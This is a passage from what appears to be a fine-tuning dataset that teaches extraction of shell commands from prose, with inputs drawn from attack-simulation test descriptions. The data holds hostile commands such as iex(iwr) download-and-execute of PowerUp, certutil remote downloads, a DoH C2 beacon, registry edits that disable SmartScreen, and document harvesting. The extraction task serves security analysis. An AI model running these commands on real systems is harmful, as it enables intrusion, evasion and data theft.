\\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can capture the recent command history by first installing xclip, then copying the output to clipboard and saving it to a file with this command sequence: apt install xclip -y\nhistory | tail -n 30 | xclip -sel clip\nxclip -o > history.txt; This test utilizes a DLL from https://github.com/gtworek/PSBits/tree/master/SIP and registers it via the command: regsvr32.exe #{dll_payload}", "output": "{\"command_list\": [\"apt install xclip -y\\nhistory | tail -n 30 | xclip -sel clip\\nxclip -o > history.txt\\n\", \"regsvr32.exe #{dll_payload}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For each iteration, the script sends randomized DoH queries and displays DNS information in JSON format with this command: for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\" -UseBasicParsing).Content }; To simulate an infected host beaconing via DoH queries to a C2 server, use the following command after navigating to the Atomics folder: \nSet-Location \"PathToAtomicsFolder\"\n.\\T1572\\src\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\n", "output": "{\"command_list\": [\"for($i=0; $i -le #{query_volume}; $i++) { (Invoke-WebRequest \\\"#{doh_server}?name=#{subdomain}.$(Get-Random -Minimum 1 -Maximum 999999).#{domain}&type=#{query_type}\\\" -UseBasicParsing).Content }\\n\", \"Set-Location \\\"PathToAtomicsFolder\\\"\\n.\\\\T1572\\\\src\\\\T1572-doh-beacon.ps1 -DohServer #{doh_server} -Domain #{domain} -Subdomain #{subdomain} -QueryType #{query_type} -C2Interval #{c2_interval} -C2Jitter #{c2_jitter} -RunTime #{runtime}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To identify the system language, you can check the environment variables by running the following commands: env | grep LANG\nprintenv LANG\nset | grep LANG\n. The 5-character locale result can then be used to determine the language and territory.; Using DISM, the Deployment Image Servicing and Management tool, you can view international configuration details by executing this command in an elevated prompt: dism.exe /online /Get-Intl", "output": "{\"command_list\": [\"env | grep LANG\\nprintenv LANG\\nset | grep LANG\\n\", \"dism.exe /online /Get-Intl\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n Group policy settings can be modified with the following command:\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\nNew-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\System\" -Name ShellSmartScreenLevel -Force; This technique, employed by various malwares to hijack browser functionality, can be demonstrated by executing the following commands:\n\n# Chromium\n$chromium = \"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\"\n\n# uBlock Origin Lite to test side-loading\n$extension = \"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\"\n\nSet-Location \"#{working_dir}\"\n\nSet-Variable ProgressPreference SilentlyContinue\nInvoke-WebRequest -URI $chromium -OutFile \"#{working_dir}\\chrome.zip\"\nInvoke-WebRequest -URI $extension -OutFile \"#{working_dir}\\extension.zip\"\n\n\nExpand-Archive chrome.zip -DestinationPath \"#{working_dir}\" -Force\nExpand-Archive extension.zip -Force\n\nStart-Process .\\chrome-win\\chrome.exe --load-extension=\"#{working_dir}\\extension\\\" -PassThru", "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffsetDC -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTime -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name GroupPolicyRefreshTimeOffset -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name EnableSmartScreen -PropertyType DWord -Value 0 -Force\\nNew-ItemProperty \\\"HKLM:\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\System\\\" -Name ShellSmartScreenLevel -Force\\n\", \"\\n# Chromium\\n$chromium = \\\"https://commondatastorage.googleapis.com/chromium-browser-snapshots/Win_x64/1153778/chrome-win.zip\\\"\\n\\n# uBlock Origin Lite to test side-loading\\n$extension = \\\"https://github.com/uBlockOrigin/uBOL-home/releases/download/uBOLite_2024.11.25.1376/uBOLite_2024.11.25.1376.chromium.mv3.zip\\\"\\n\\nSet-Location \\\"#{working_dir}\\\"\\n\\nSet-Variable ProgressPreference SilentlyContinue\\nInvoke-WebRequest -URI $chromium -OutFile \\\"#{working_dir}\\\\chrome.zip\\\"\\nInvoke-WebRequest -URI $extension -OutFile \\\"#{working_dir}\\\\extension.zip\\\"\\n\\n\\nExpand-Archive chrome.zip -DestinationPath \\\"#{working_dir}\\\" -Force\\nExpand-Archive extension.zip -Force\\n\\nStart-Process .\\\\chrome-win\\\\chrome.exe --load-extension=\\\"#{working_dir}\\\\extension\\\\\\\" -PassThru\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The script identifies removable drives and searches for document files with targeted extensions, returning 'No removable media' if none are found, via this command: powershell.exe -c \"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\"; The test will compress files from the $env:USERPROFILE directory into T1560-data-ps.zip using the command: dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}", "output": "{\"command_list\": [\"powershell.exe -c \\\"Get-Volume | Where-Object {$_.DriveType -eq 'Removable'} | ForEach-Object { Get-ChildItem -Path ($_.DriveLetter + ':\\\\*') -Recurse -Include '*.doc*','*.xls*','*.txt','*.pdf' -ErrorAction SilentlyContinue | ForEach-Object {Write-Output $_.FullName} } ; if (-not (Get-Volume | Where-Object {$_.DriveType -eq 'Removable'})) { Write-Output 'No removable media.' }\\\"\\n\", \"dir #{input_file} -Recurse | Compress-Archive -DestinationPath #{output_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To download a file from the web, you can utilize certutil's URL cache feature with the following command: cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}; Here's how to fetch a remote file using certutil's verifyctl feature, which also accepts /verifyctl: $datePath = \"certutil-$(Get-Date -format yyyy_MM_dd)\"\nNew-Item -Path $datePath -ItemType Directory\nSet-Location $datePath\ncertutil -verifyctl -split -f #{remote_file}\nGet-ChildItem | Where-Object {$_.Name -notlike \"*.txt\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }", "output": "{\"command_list\": [\"cmd /c certutil -urlcache -split -f #{remote_file} #{local_path}\\n\", \"$datePath = \\\"certutil-$(Get-Date -format yyyy_MM_dd)\\\"\\nNew-Item -Path $datePath -ItemType Directory\\nSet-Location $datePath\\ncertutil -verifyctl -split -f #{remote_file}\\nGet-ChildItem | Where-Object {$_.Name -notlike \\\"*.txt\\\"} | Foreach-Object { Move-Item $_.Name -Destination #{local_path} }\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using 